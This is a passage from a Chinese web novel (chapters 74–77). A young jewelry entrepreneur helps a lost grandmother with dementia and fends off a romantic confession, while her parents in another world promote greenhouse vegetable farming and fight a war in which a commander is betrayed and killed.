老人想了想,摇头:“我不记得了。你知道吗?” 袁淼确定了自己猜测,拉着老人在路边的铁木椅上坐下来。 能住进这里的人家,不会连保姆都没有。老人有病,许是一会,她家里的人就能找过来。 她让沈若君去通知物业,自己陪着老人。 “奶奶,您还记得小宝的大名叫什么吗?” 老人一脸茫然:“我不记得了……小宝让我在家里等他……他什么时候回来?你知道吗?” 袁淼摇头,又问:“您还记得您家在哪儿吗?我送您回去吧,您不是答应了小宝,要在家等他吗?他要是回来了,见不到您,一定会着急。” 老人连忙站起来:“对对对!不能让小宝担心!我得回去!” 她无头苍蝇一样要走,却突然又回头:“……我家在哪里?小姑娘,你知道吗?” 袁淼在心里叹了口气,拉着老人又坐下来,哄着说:“奶奶,我们在这儿坐会,小宝一会就来了。” “真的吗?” “嗯!” 一会后,果然有人来了,却不是小宝,而是沈若君和物业人员。可惜物业人员也不清楚老人是哪家的,她得去查证。 袁淼哄着老人:“奶奶,走,我带你去找小宝。” 老人很高兴:“好好好,小姑娘,你人真好!” 带着老人一起来到了物业大厅,经过查证,物业人员找到了老人的住所,并且联系了她的家人。 对方找过来时,老人已经睡着了。袁淼守在旁边,听到响动抬头,着实吃了一惊。 竟然是宋颜! 她不由得站起身。 物业人员对宋颜很热情:“宋总,人就在里面……” 宋颜西装革履,一贯平淡的脸上难得显露焦急。 “谢谢!” 他说着抬起了头,看到袁淼,愣了愣。 物业人员笑着介绍:“宋总,就是这位袁小姐,是她发现您家的老人,及时联系了我们,并且一直在这里照顾。” 第74章 第74章 新房 “宋总!” 袁淼含着笑, 主动打招呼。 她一直想请宋颜吃饭,博云珠宝能迅速打开局面,宋颜明里暗里帮了不少。前不久她将一件羊脂白玉马委托给了嘉世达拍卖行, 听说巡展就引起了不小的轰动。 “两位……认识?”物业人员左右看看。 袁淼点头:“是的。” “那太好了!咦……那位老奶奶呢?” “在这儿。”袁淼连忙让开身。 “睡着了吗?” “是啊。” 老人身上搭着袁淼的外套, 睡得深沉。他们说话, 她也没醒。 宋颜蹲下身, 轻拍了拍老人:“奶奶,奶奶!” 老人迷迷糊糊睁眼:“你是谁呀?” 宋颜将老人有些凌乱的头发理了理:“我是小宝, 这里不能睡,奶奶,我们回家好不好?” 袁淼心里诧异,没想到一贯冷清的宋颜还有这么温柔的一面。 老人神态茫然, 拉过袁淼说:“小姑娘,他, 他真的是小宝吗?” 袁淼笑着点头。她相信宋颜。 “是啊,小宝来接您回家了。” 老人的神态这才放松下来:“好,好,回家回家!” 她手忙脚乱起来, 袁淼连忙帮忙。天已经入秋,入夜了微寒。她顺势把自己的外套给老人穿上。 宋颜也在一边帮忙,间隙看了看袁淼。 女孩的眉眼专注且温柔,像是一幅画。 他只看了一眼,心就狂跳起来。 帮老人穿好衣服后, 袁淼往外面看了一眼。门口停着了一辆黑车, 应该是宋颜的。 “奶奶,我们回家!” 老人才醒,正是迷糊的时候, 抓着袁淼的手不肯放。 袁淼将人扶到车旁。 老人又迟疑了。 袁淼连忙说:“奶奶,这是小宝的车,您不记得吗?” 老人依旧迷糊:“是吗?这是小宝的车吗?” 袁淼有经验,才睡醒的阿尔茨海默症老人症状最明显,许多事情转头就忘了。 “是啊,我们上车。” 哄着老人上了车后,袁淼正要离开。 “袁小姐,我家离这里不远,要不要过去坐坐。” 袁淼顿了顿。 宋颜又说:“你是不是打算在这里买楼?我在这里住了较长时间,也许能提供一些有用的消息。” 袁淼笑了。上车后,给沈若君发去了消息,告知了自己的去向。 车外夜景如流水过去,宋颜轻咳了一声:“袁小姐是准备购买这里的六号楼吗?” 袁淼不禁好奇:“宋总是怎么知道的?” “美墅这边是我的一个朋友开发的,我听他说起过。” 袁淼想到即将付出去的房价,都快赶上了上次购□□支弹药的钱。打仗费钱,父母那边局势严峻,钱能省点就省点。 “是富恒地产的何总吗?” “嗯,我跟何启明打小就认识了。六号楼不错,早先四海酒店的叶子轩想买,他都没松口,想留下来自己住。” “要不是这次富恒地产出现了状况,他大概也不会拿出来对外销售。” 袁淼立刻明白了。房价还可以谈。 “宋总,你家是几号楼?” “十六号楼,离六号楼不远。” 袁淼忍了又忍,但没忍住:“十六号楼,宋总买下来多少钱?” 宋颜又轻咳了一声,说了价,又道:“何启明最近在国外,不过,我有他的电话,你跟售楼经理谈到哪一步了?” 袁淼回答了。两人说着话,到了地方,车停了下来。袁淼看了看外面。眼前的别墅比她心仪的六号楼要大许多,门口站着好几个人。 车进去后,有人迎了上来。 老人被扶进了房间,穿着白大褂的医护人员跟着进去了。 宋颜出来的时候,袁淼已经在客厅坐了一会儿。 接过宋颜递过来的杯子,袁淼关心问:“怎么样……宋奶奶,还好吧?” 宋颜点头:“还好,又睡了,要不要进去看看?” 袁淼迟疑片刻,笑道:“不了,睡着了,我就不打扰了……” 她准备告辞。 “袁小姐,今天谢谢你!” 袁淼低头笑了笑。 宋颜又道:“我奶奶今年八十六了,她这样,也有四年多了。” 袁淼想到自己奶奶。她的病进展的很快,不到两年就连自己的名字都忘了,唯一记得的只有她。 “刚开始只是记忆不好,现在……什么都不记得了。” 袁淼摇头:“她记得小宝。” 宋颜沉默一会:“小宝是我的小名。” 袁淼已经知道。 “我母亲很早就过世了,我是在奶奶身边长大的。” 袁淼诧异抬头,关于宋家的消息鲜少出现在网络上,即便她如今已经涉足珠宝行业,知道的也很少。 “我十八岁以前大部分时间都在海外,那时候身边只有她,后来大学毕业回了国,等我再去看,她已经病了。” 袁淼察觉到宋颜的黯然,一时间感同身受。在她还不懂事的时候,父母就离开了,再见面,她虽然长大了,他们之间却是不同的世界。 “然后,我就把她带到了身边了……其实我还有好几个堂兄弟,但他们都很忙,我爷爷……也很忙,回来这边的时间并不多,大多时候这边也只有她一个。” 袁淼连忙说:“宋总已经做得很好了。” 宋颜摇了摇头,突然问:“你呢?” 袁淼被问到了:“我?”她低下头,“我父母……不在身边,奶奶已经过世了,现在……一个人。” 她不知道宋颜有没有从孟怀德那里知道了她的事情,所以回答的很含糊。 “对不起!”宋颜说。 袁淼笑了笑。 “这边环境不错,要不要出去转转?” 袁淼顿了顿,欣然答应。 两人出去的时候,路灯已经亮了。居高临下,灯火璀璨的魔都像是银河。宋颜说起了他小时候的事情。 袁淼听得入迷,没有注意脚下,差点崴到,幸亏宋颜及时伸手。 “谢谢!”袁淼抬头,差点撞到了宋颜的下巴,她这才发现两人太近,连忙往旁边缩了缩。 宋颜收回了手,人依旧不远不近跟着。 气氛变得有些怪异了。 袁淼想到了父母。时间不早了,她得回去了。 “宋总……” “宋颜!”宋颜突然打断了她的话。 袁淼有些诧异。 宋颜的脸依旧没有表情,眼睛却亮得出奇:“袁淼,我……可以追你吗?” 袁淼愣住了。 宋颜很紧张:“我……没有谈过恋爱,不过,曾经跟家里建议的联姻对象吃过饭,但彼此双方都不满意,后来没联系了……” 袁淼反应过来了,有些措手不及:“对不起,我……暂时没有这方面打算!” 宋颜的眼睛一下子黯淡,声音低了下去:“没关系,是我考虑不周……” 袁淼分外不自在:“呃,我……的助理在外面等,宋……总,再见!” 她几乎迫不及待小跑离开。 宋颜看着袁淼的背影,张了张嘴,却一个字都没吐出来,直到人影不见了,他才捶了捶自己头,懊恼不已。 一会后打了个电话。 电话那头秒通了。 宋颜问:“你知道怎么追女生吗?” 电话那头的人像是听到天荒夜谭,一连声问了好几个什么? 宋颜的语气一如既往板正:“我想知道怎么追女生?” 电话那头的人呵一声笑,像是捂住了嘴巴,小心翼翼问:“你,你真是宋颜吗?没有打错电话吧?” “是我。你在东都吧?今晚十点的飞机!明天一早我希望能见到你!” 宋颜说完后挂了电话,看向袁淼离开的小路。人早已不见了。他往回走,没多会,又忍不住回头了。 袁淼到家时还有些心神不宁,她没想到宋颜会突然那么说。她很感激宋颜,但感激和感情是两码事,她现在全部心思都在父母身上。他们举步维艰,一不小心就会性命之忧。 不能多想!打住! 袁淼在心里告诫自己,打起了精神,在镜子跟前坐下来。 “爸,妈,你们今天都还好吧?” 看到袁博文和谢云溪出现在镜子里,袁淼连忙问道。 “都好!你呢?” 袁淼说了自己的事。珠宝店虽然开张没多久,但人气不低,连带着网店也上了星级,销售可观。 “我今天还去看房子。”袁淼的脑海闪过了宋颜的样子,“挺不错的,在半山腰,楼上楼下十几个房间,还有一个工人房,住进一二十个人都不成问题……” 袁淼想到了房价:“除了有点大,其他的,我都觉得很好。” 谢云溪一脸无语:“哪里大了?你雇佣的保镖都在外面租房住!根本起不到多大的作用!” 袁淼笑了:“没有啦,他们挺不错,租住的地方并不远,一个电话,五分钟就能过来了。” 谢云溪却说:“五分钟?要真有事,一分钟都会误事!” 袁淼不吭声了。这是实话。 “还有啊,你现在只一个住家保姆,家里想请客办个宴席,不仅做事的人员,地方也转不开……” “你如今好歹也是两家公司的老总,总得有应酬吧,你觉得你现在住的地方能行吗?” 袁淼想到了宋颜的住宅。车开进去时,门口站着好几个人,有管家有佣人等等,宋奶奶进房间后,马上也有家庭医生跟着进去了。 沈若君也打听过,一个管家团队,较低的配置都要五六个人了。 这么一算,半山腰那栋楼好像确实不大。 谢云溪叹了口气:“依我看,你说的那房子一点儿都不大!” 才能住十几个人! 他们现在的宅院安置百来人不成问题,码头那边还有两栋宅院。她如今身边伺候的人,光丫头就有七八个,还不包括粗使的。 至于外头院子和厨房上的,林林总总加起来都有五六十人了。 码头那边的宅子里安置威远镖局的贺师傅等人。上次贺威送信,把威远镖局在北地的几个人都带回来了,还往南边送了信,许是要不了多久,还会添人。 还有铺子上的人。 这些人都是跟着他们过活的,算起来也有一两百了。 女儿身边才几个人? 第75章 第75章 担忧 袁淼知道父母是在心疼自己, 她心里感叹这段时间变化太快。 几个月前,她还在和别人合租房子,转眼就住进了别墅, 现在居然要换更大更好的住所, 身边都要配置管家团队了。 但母亲的话没错, 许多人都是先敬罗衣后敬人, 自打涉足珠宝行业,她的感触更深, 想要更高效的达成目的,有些方面确实要讲究起来。 “关伯伯有消息了吗?” 袁博文摇头,谢云溪看了他一眼,对袁淼说:“应该不要紧, 你别担心。” “有了消息,你们要及时告诉我!” “放心吧!” 打发了女儿, 谢云溪看向袁博文,他的脸色已经垮了下来。关正带人离开已经有五六天,按说已经到了涵谷关,但散出去探子至今都没有消息。 她知道袁博文很担心, 但这件事情,他们再着急也没用。 “你回来时有没有注意到门口的菜地?” 袁博文问:“怎么啦?那里有变化了吗?” 谢云溪笑着点头:“咱们种下去的小白菜长出来了。” “是吗?”袁博文很惊喜。 “嗯,不过,只有塑料大棚和油布棚子里的苗儿长出来了,另一块地不行。” 当初种菜, 谢云溪圈了三块地做实验, 分别是塑料大棚、油布棚子和普通菜地,种子则是生长周期较短,要求较低的白菜生菜萝卜等。 如今大半个月过去了, 实验的结果也出来了。塑料大棚的菜种不仅出了苗,而且还长得不错,要不了多久就能采摘食用了。 油布棚子的保温效果虽然不错,但透光性太差,种在里面的菜稀稀拉拉长了些出来。 另一块地则什么变化都没有。依旧光秃秃的。 袁博文也来了兴趣,仔细询问。 “你觉得这事儿,能不能推广开来?” “我觉得可行,油布不贵,几乎家家都有,搭建的成本也不高。虽然长出来的菜差强人意,但多少也能改善一下生活。” “塑料大棚嘛……”谢云溪顿了顿。 对于塑料,他们现在对外的说法是海外所得,实际上并不是。来到这里后,他们虽然去了很多地方,但最远也在大顺的疆域内。他们也不知道如今的海外是什么情况。 晋州如今算是与世隔绝,但总有一天会回归正常社会,如果现在贸然拿出大量塑料,恐怕到时候不好收场。 “我明天让张时文过来看看,看他怎么说,如果他对塑料大棚感兴趣,就把上次剩下的给他,其他的,咱们就不拿出来了。” 谢云溪应下了,第二天一早就让人把菜园收拾了一番,该收起来的东西收起来,也跟管菜园的老于头夫妇对好了话。 等到袁博文带着衙门里的人过来时,菜园子已经收拾妥当了。 看到大棚时,张时文等人眼睛都瞪大了,尤其塑料大棚。 “这是什么?” “塑料。”袁博文已经跟谢云溪对好了怎么说,当下里不慌不忙,解释了这些塑料的来源。 张时文等人惊叹不已,等进到塑料大棚里面,看到绿意盎然的菜苗时,更是嘴巴都忘记合上了。 袁博文接过谷雨抱过来的一卷塑料,递给了张时文。 一众衙门官员立刻围住了张时文。 “这东西真不错!到底是怎么做出来?” “这么轻透!能不能糊在窗棂上?!” “应该可行!这东西可比窗纸好多了!既透光,又能遮风挡雨!” “张大人说得对!没想到,这海外蛮夷之地,会有这样的好东西!” 袁博文听着众人的议论,没有吭声。塑料封窗,当然可以,但远没有玻璃坚固适用。 不过,玻璃的制作成本可比塑料高多了。 “大人,为何这里面比外面暖和?”有人问道。 袁博文抬起了头。这日刚好有太阳,但北地冰封了许久,室外的温度并不高。 “太阳光能进来,但这塑料能阻止热散出去!”有人解释了。 袁博文笑着点头,其实理由并不仅仅只有这个,但展开了说,那就不是一句两句能说清楚的。 衙门的这些人跟军中的不一样,不容易打发。 许多人想起了家里的窗,纷纷点头。 “袁大人,这塑料您有多少?能不能给我一些?”张时文问。 袁博文点头,他带人过来的目的就是推广大棚种菜。聪明的人哪里都有,比较过塑料大棚和油布棚子种菜后,说不定会有人想出改进的办法。 “我也不多,你们别浪费了。” 看完了塑料大棚,袁博文又带着张时文等人进到了油布棚子里面,这下没人吭声了。油布大家都认识,但搭成棚子种菜却是第一次见。 里面虽不如塑料大棚亮堂,但也还行,温度比塑料大棚里面略低,但比外面暖和多了。长出来的菜虽稀稀拉拉,却也绿色喜人。 “旁边还有的一块地,跟这里面同时都种了菜,那边是什么情况,你们应该也都看到了吧?” 三块地,一进院子就能看到,光着的那块地除了积雪和冻土,什么都没有。 有知晓农事的迫不及待问:“大人,这些是什么菜?” 北地虽疆域广阔,但蔬菜种类很少,只有萝卜白菜等,小白菜生菜等之类这里并没有出现。 袁博文叫来老于头,他儿子原是大刀营的士兵,战死后袁博文了解到他尚有年迈父母待赡养,便将老于头夫妇带到了府里,一个人管着菜园的事,一个人在厨房帮忙。 “你们有什么疑问,就问他吧!这菜地是他在管。” 老于头被围住了。 北地贫瘠,冬天尤其艰难,平常年月里老百姓的餐桌上就没几样绿色的菜。如今被围困许久,处境艰难的人家甚至有的好几个月没吃过绿色的菜了。 即便是富裕人家,也鲜少能日日吃上新鲜的菜。 看见了绿色的菜,大家的眼睛都绿了。 塑料少见,但油布常见,如果能搭个棚子种出菜,家家的日子都能改善。 老于头已经被教导过了,能说的说,不该说的,一个字都没吐露。 油布棚子种菜不难,白菜生菜等生长周期较短的蔬菜种子,谢记粮行就有卖。 得到了想要的消息后,张时文等人满意离开了。第二天,衙门管农事的官员就在城里开始宣传油布棚子种菜事宜。 回到房里后,袁博文就把衙门的进展告诉了谢云溪。 谢云溪心情很好,她当初种菜的目的就是为了丰富人们的菜篮子。 “明天我让淼淼打听打听,看看现代还有没有更容易种的菜。” 现代的蔬菜种类繁多,不像这里,翻来覆去就那么几样。 袁博文点头。今日照样没有关正等人的消息,他心里沉甸甸的。 “你早些休息,我去书房看看。” “好!”谢云溪理解,但她不能陪着一起了,她的身子已经重了。 袁博文出了门。夜已深沉,四下里肃静。谷雨提着灯在前面引路。他们来到了书房。袁博文打开了密室,进到底下。 密室偌大空间已经被改建成训练室了。袁博文换了身衣衫,拿了支狙击/枪出来,填好子弹后,对准了靶子。 “砰”一声巨响,漫天尘土四溅开来,飞扬起来的还有残肢断臂,原本疾驰的马匹惊慌嘶叫,将马背上的人掀了下来。 原本的人山人海成了一块平地,尘嚣未止,及时卧倒的关正晃了晃头,马上爬了起来,一刀戳死脚边还在呻吟的北凉士兵后,大喝一声:“走!” 他的周围,陆陆续续有人爬起来。突然炸开的巨响使他们懵了,但关正和商泽及时喊出的卧倒让他们捡回了一命。 此时爬起来,看见营火照耀下的一片灰蒙蒙,周围到处都是血和残肢断臂,惨叫声不绝于耳,他们有种恍如梦中的感觉,不明白刚才到底发生了什么。 他们在烧北凉的粮草时没来得及离开就被发现了,对方人数众多,他们很快就被团团围住了,原以为要交待了,突然听到有人大喊一声:“卧倒!” 这声卧倒只能是自己人喊出的。 北凉人可不会这么说话,他们刚扑到地上,就听见一声轰天巨响,似乎耳朵都要震聋了,爬起来就是眼前的景象。 “快走!” 懵掉的士兵这才回过神来,被同伴拽了一把,连忙跟上。 爆炸的中心点多了个坑洞,连具完整的尸体都没有,周边尚未气绝的北凉士兵也陆陆续续爬了起来,不过,他们还没过神来,就被人一枪戳透了身体。 更外围的士兵们被爆炸的巨响惊到后,这时也回过神了,哇哇叫着朝晋州守军追了过去。 商泽一刀砍翻一名北凉士兵后,看了看周围,许多人北凉士兵又围了过来。 “大人!你们快走!” 关正回头看了商泽一眼,又扫了一眼周边。许多人都不见了。入眼的面孔没一张干净的,血肉混杂着尘土糊在脸上。爬起来的北凉士兵越来越多了,更远处传来了轰隆隆马蹄疾驰的声响。 涵谷关的北凉人比他们想象的还要多。要不了多久,他们就会被再次围成铁桶。 这里不易久留! 他心中一痛,收刀大喊一声:“走!”转身冲进夜幕中。 商泽留在后面,看到追过来北凉士兵,他反手从背后的匣子里摸出一个黑溜溜的手/榴/弹,投向了潮水般涌过来的人群。 “砰!”一声巨响,黑压压的人群又倒下一片。 商泽甩了甩头上尘土,爬起来后,赶紧朝着关正等人离开的方向追了过去。 第76章 第76章 被坑 “大人!”商泽将望远镜递给关正。 关正架在脸上, 即便早已用过,再次使用,他心里依旧惊叹。 属实是好东西!即便是在黑夜, 镜头看到的地方依旧清楚无比。 他们到了雁北山峡谷, 距离泗阳关不远了。前方不远就是与霍云泽约好接应的地方。 关正松了一口气。 幸不辱命!这一趟虽然未能将北凉人在涵谷关的粮草全部毁掉, 但也有七八成了!粮草短缺, 萧南诏想要继续南下必定掣肘! 不过,回头看向身边的人时, 关正心里一下子难受起来。 他带出来的人所剩无几了,即便活着的,也几乎人人带伤。 好在希望就在眼前了! 关正咽下了翻滚的难受,挥了挥手, 示意继续前进。 到了地方。峡谷中寒风刺骨,一个人都没有! 关正心里一片冰凉。 商泽探查后来报:“大人!这里没人!” 关正定了定神, 又拿过望远镜看了一圈。确实没人。 风声鹤唳。一路慌忙逃到这里,身上的汗已经冷了,寒风一吹,冰凉刺骨, 目光所及,每个人疲惫到了极点。 关正下令就地修整。 偌大峡谷,背风的地方燃起了几堆篝火,四下散开的士兵们默默整理着伤口。 商泽清点了人数,声音哽咽:“大人, 咱们只有八十六人了!” 带出来五百余人, 仅剩下了八十六人! 关正的喉咙动了动,眸子冰凉,垂下的手不由得握成了拳头。 霍云泽!你他娘的, 到底在搞什么?说好的里应外合呢?涵谷关那么大的动静,你他娘的没看到吗? 但凡泗阳关有一点反应,老子的人也不会死这么多! 要不是有袁子虚让带上的手/雷,别说八十六人,这一次连他都未必能活着出来! 关正心里堵得难受,招了招手,示意商泽靠近:“手/雷还有多少?” “还有六枚!” 也不多了! 一边跑,一边炸,北凉人在手/雷下吃了大亏,不敢穷追不舍了,这才让他们得已逃到这里。 这是霍云泽跟他约好的地方,他说了会有人接应! 原本他对这个计划不存多大指望,但晋州不能一直困守下去,原想着豁出去,干一把,搏一线生机,如今看来,竟然是一个坑吗? 这峡谷里别说人了,鸟儿都没有! 关正心绪起伏不定,回望一眼身边,硬生生将憋屈和愤怒压了下来。 他若是失了分寸,带出来的这些人一个都活不成! 且再信一回霍云泽!许是他的人正在赶来的路上! 不信也不行!这里是北凉人的地盘!仅凭他们八十来人,想要杀出重围回到晋州,希望渺茫。 关正看了一眼商泽。他身上脸上都是血和尘土,甲胄被割得七零八落,露出了里面的夹衣。夹衣上的花纹与他身上所穿的防护衣一模一样。 这应该就是袁子虚从海外得到的另一件防护衣了。 想到袁博文,关正心里好受了一点。 那家伙真是个妙人,要不是有他,晋州绝对撑不到现在,自己也不知道死哪儿。他手上好东西层出不穷,鬼点子也多。晋州交到他手上,才有一线生机。 自己真该听他的! 如今说什么已经晚了。 他不知道霍云泽在搞什么鬼?但这人不可信!至少不能深信!他得把这一趟的经历告诉袁子虚,让他有所警惕。 关正伸手,示意商泽把匣子给他。 商泽麻利取下来。 关正接过后,看了看里面。确实只剩下六枚手/雷。 这是好东西!这一趟死伤在这玩意下的北凉人没有一千,也有八百了!炸到最后,那帮北凉人连靠近都不敢了。 但这一战之后,他们一定会警惕起来。晋州不过一座小城,若是重兵来犯…… 关正打了一个寒噤,立马打起了精神,将匣子背到身上,拍了拍商泽的肩膀。 “你马上走!回晋州去!” “大人!”商泽急了,他答应过袁博文,要保护好关正。 关正沉下脸,打断了商泽的话:“这是军令!” 商泽欲言又止。 关正低头附在商泽耳边说:“告诉你家大人,霍云泽不可信!” 商泽心里也难受,这一路所见,验证了守备大人的话。 约好的里应外合没有!他们死里逃生,来到接应的地方,一个人都没有! “是!”商泽拱手应下,吞下了心里的难受,转身走进黑乎乎峡谷。 没走多会,他就听到了动静,连忙紧贴山壁。 有人过来了,且还不少。 商泽的手按在了刀柄上。 夜幕下的山岗黑乎乎一片,山顶的积雪未化,眼睛能看清楚的地方并不远,许多猫着腰身的人影往这边过来。毛皮坎肩搭配了毡帽,正是北凉士兵常见的穿着。 他们学乖了,不再猛冲猛干了,而是悄悄围了过来。 商泽在心里骂了一句,想到了峡谷里的关正等人,马上要动身回转去报信。 但只一眼后,他又立刻缩了回来。 这一次看得更清楚了,漫山遍野都是悄悄移动的黑影! 他们被包围了! 商泽头上的冷汗出来了,去与不去,只在心里打了一会儿架后,便有了决定。 去,死路一条!手/雷的威力虽大,但只有六枚,炸不开一条生路了。 守备大人应该早就料到了他们无法摆脱北凉人的追杀,所以才让他回去报信。 霍云泽不可信! 这是守备大人带给袁大人的口信,他一定要让袁大人知道! 否则,他们的人白死了! 商泽贴着山壁一动不动,眼睁睁看着一大片一大片的北凉人过去。 没多久,峡谷那边就传来喊杀声,轰隆一声巨响后,原本悄悄行进的北凉人潮水般朝着那边涌了过去。 商泽瞧准时机,一刀割了一名北凉士兵的喉咙后,扒下他身上的毛皮坎肩和毡帽,穿到了自己的身上,朝着相反的方向跑去。 * 袁博文得到消息后,赶到斥候营,看到担架上血肉模糊的人,一时间有些不敢认。 “大人!”担架上的人看到袁博文,一下子翻滚了下来。 袁博文紧走几步,一把扶住了,看清楚确实是商泽后,他连忙喊道:“郎中呢?叫郎中了吗?” 商泽紧紧抓着袁博文的手:“大人!守备大人……说……霍云泽不可信!” 袁博文一脸震惊,但商泽的情况很不好,只说了这么一句后,就厥了过去。 医官来得很快,几下便解了商泽身上残缺的甲胄,但他腿上手上的伤不少,后脑勺也开了瓢,骨头都能看到了。 袁博文急切想知道关正的情况:“怎么样?他没事吧?” 医官手上不停,摇头:“伤得很重!大人若是要问话,下官可以用针,但伤者清醒的时间不会很长!” 袁博文犹豫片刻:“用针!” 关正等人生死未卜,情况紧急,耽误一刻,许就是大事。 几针下去,商泽睁开了眼睛,一见到袁博文,便要起来。袁博文连忙按住了他,还没等他开口,商泽便说话了。 “大人!我们到了涵谷关,放了信号,但泗阳关并没有反应……守备大人说不等了……涵谷关大小营帐过百……我们烧了不少,被围住后,用了手/雷,方才脱困!” “到了雁北山峡谷,并没有人接应!守备大人让我回来……他说霍云泽不可信!” 商泽说着,眼眶湿润了。他想到了离开时听到了那声巨响。 “守备大人……已经遇难!” 袁博文心里分外难受,但眼下有更要紧的事情,他轻轻拍了拍商泽的肩膀:“好!我知道了!” 商泽心中一松,又闭上了眼睛。 医官忙碌起来,袁博文让开了位置。 大帐中落针可闻。 “狗/日的!”不知道是谁哽咽着骂了一句。 袁博文逼退眼中的酸涩,看了一眼大帐里的人,晋州守军各营领将大半都来了,但这还不够。他转头吩咐谷雨,让他通知各营主将。 来到主帐,袁博文只站了一会,晋州守军各营主将就到齐了。人人脸上悲痛。 袁博文好一会没说话。 骑射营主将黄峥性急:“大人!这个仇,咱们不能不报!” “对!狗日的霍云泽!这是拿咱们晋州的人当猴耍呢!” “守备大人就是他害的!” “对!咱们在晋州好好的!是他来信,要和咱们里应外合!结果却是把咱们往火坑里推!守备大人就是他害死的!” 袁博文依旧没说话。 黄峥忍不住上前了:“大人!您说句话,到底怎么干?大伙都听您的!” 其他人纷纷附和。 袁博文看着他们,缓缓说:“北凉的大部队要来了。” 各营主将们面面相觑。 黄峥说:“北凉人不就在城外吗?这么多天了,咱们什么时候怕过他们?” “对!” “就是的!来一个,干一个!来一对,杀一双!咱们怕他们?” 被围困数月,大伙都与北凉人交过手,大小战不知道打了多少回,早就不怕了。有弓有弩,有大刀,城外那些北凉人已经被他们摸得清清楚楚,有多少人,有多少营帐,什么时候换防,甚是个别主将连拉屎睡觉的时间都知道了。 要不是顾忌城外的北凉人多,他们早就出城干上了。 城里不缺吃,不缺穿,与往年的区别并没有多大,隔三差五还能骚扰一下城外的那些北凉人。这样的日子,他们并没有觉得有多难。 袁博文皱着眉头,摇头:“这次来的……绝不会是等闲之辈!” 第77章 第77章 横推 袁博文说完, 看了看底下的人。他们面面相觑,显然没有想到事情的严重性。 到嘴边的话打了一个转,又咽了下去。 手/雷的事情不能说。人多口杂。这些人不是关正。告诉了他们, 不仅自己会有麻烦, 对他们也没有好处。 战争总有结束的一天。他拿出来的这些东西到那时候会面临很多的觊觎和麻烦。 他相信关正, 那时候一定会挡在自己跟前。眼前的这些人或许也会如此, 但他们的能做的有限。知道的越多,反而害了他们。 “萧南召不会放过晋州了!” 袁博文的声音不大, 但营帐中的每个人都怔住了。他们当中有的人脸色变了。意识到问题的严重性了。 北凉人原本以为他们把晋州围成了铁桶,里面的人插翅难飞,就等着城里的人弹尽粮绝后好轻松收割。现在知道晋州城不仅没有弹尽粮绝,居然还有余力烧掉了他们大半的粮草。 这样的心腹之患, 谁能容得下? “咱们得尽快拿下郴州!” 袁博文的话犹如惊雷,炸懵了营帐中所有的人。 拿下郴州?!这怎么可能? 他们有多少人?郴州有多少人?晋州全城的人都上了, 也未必能动郴州分毫! 那可是北地第一重城!城墙巍峨,连绵数里,易守难攻。就连萧南召,号称率十万铁骑, 也用好些天,才攻下郴州。 如今,在郴州也布下重兵。 “晋州拦不住北凉大批人马,只有拿下郴州,咱们才能活下去。” 各营主将都低下了头, 他们知道袁博文的话没错。晋州太小了, 许是能抵住北凉数千兵马冲击,但北凉重兵来犯,一定守不住。 他们统共也就二千余兵力, 后备和物资也少得可怜,仰仗的城墙远不如郴州的巍峨坚固。 “大人!这战怎么打?郴州那边……人可不少!” 袁博文看向旁边的沙盘,郴州有多少北凉兵力驻守,他并不知道。萧南召拿下郴州后,杀了不少人,估计有血性都被杀得差不多了。如今还在郴州城里的居民战斗力可以完全忽略。 从外面打进去,那一圈原本保护大顺子民的城墙就成了阻止他们进城的最大麻烦。 好在,他有枪/炮和坦/克!虽然数量不多,但足以轰开郴州的城墙! “怎么打?往死里干就是了!” 黄峥眼眸圆瞪。他与关正共事良久,交情素来很好。关正遇害的事情让他久久不能平复。 “左右都是死,老子就算是死,也要拉几个做垫背!” 好几位主将被黄峥激得起了血性,一副视死如归的样子。 “大家先别心急,且听袁大人安排!”江虎连忙说道。 他管着晋州城防事宜,与袁博文一起干了不少事情,知道他素来缜密,不会打没准备的战。 袁博文心里沉甸甸的,他想过关正出去有危险,但没料到会是这样。 是霍云泽说里应外合,让他们去烧粮草,泗阳关会配合吸引北凉主力注意,事后了,还有人会有接应他们。 结果,霍云泽一动不动,承诺的话跟放屁似的,一句都没兑现。 关正死了,再没有人会顶在他的前头了。他拿出的手/雷,防护衣,过滤器等等将面临无数人的猜忌和觊觎。 尤其手/雷! 那么大的动静,惊人的杀伤力,一定会引起萧南召的忌惮,他只要不是个傻子,就一定会派重兵来缴。 原想着能跟泗阳关联系上,那边会有人来帮忙。现在霍云泽连关正都坑死了,怎么可能会来帮忙? 只怕是恨不得他们全部去死!死光了!这样,就没人知道他做的事情了。 没有人会帮助他们了!想要活下去,必须要拿下郴州!晋州顶不住北凉大举进攻!郴州城墙坚固,靠山临海,物资丰富。 实在打不过,他们可以从海上逃走! 让女儿买几艘大船,一走了之! 想要拿下郴州,首先就得拔掉晋州城外的钉子。 对峙了这么些天,城外的北凉大军,情况被他们摸得清清楚楚,想要拔出并不难,但要快,就得动用现代武器。 袁博文来到沙盘旁边,各营主将也都围了过来。 袁博文点了点晋州城外,看了看两边,众人都明白了。 商讨过后,各营主将去忙了。袁博文叫来吴锦丰,询问军需情况。 “大人,这是账簿。” 袁博文接过账簿翻了翻,他原本就是钱粮官出身,看了看数就知道如今的军需情况。 比先前略好,但缺口也不小。 袁博文顿了顿:“吴大人,你家里共有几口人?” 吴锦丰愣了愣,不明白袁博文为什么问这个,但他还是恭敬回答:“回大人,下官府里加上下人门房等共有三十二人。” 袁博文又问:“万乾的长子满周岁了吧?” 吴万乾是吴锦丰的长子,袁博文在军需所任职时,与他打过几次交道。 “满了,已有一岁零三月。” 袁博文点头:“你让他过来一趟。” 吴锦丰领了令下去,实在想不明白袁博文为什么突然要见自己的长子。但他相信袁博文。回到军需所后,吴锦丰让随从赶紧给家里递话,让吴万乾过来一趟。 袁博文又坐了一会。 关正死了,关府的家眷们还不知道这件事情。 他有些情怯,不敢面对庄静。 营帐外面人来人往,准备出发的人马正在集结。 袁博文站了起来,理了理衣裳,让谷雨牵了马来,来到了关府。 见到庄静时,他低低作了一个揖。 庄静的脸色立刻变了,抓着手绢的手指泛起了青筋。 “袁大人这是做什么?” 袁博文低着头:“守备大人出事了。” 庄静晃了晃,差点倒下,身边的丫鬟婆子及时扶住了她。 良久后,她问:“什么时候的事?” 袁博文依旧没有抬头:“……跟着他出去的商泽,今日回来了……” 庄静闭了闭眼睛,一行眼泪从她的脸上流了下来。她并不意外,关正离开的时候就跟平时很不一样,他交待了许多事情。 但现在听到消息,她依然有种天塌了的感觉。 “是……战死的吗?泗阳关来人了吗?” 袁博文顿了顿才回答:“泗阳关没有来人!我们被骗了!” 庄静诧异看向袁博文。 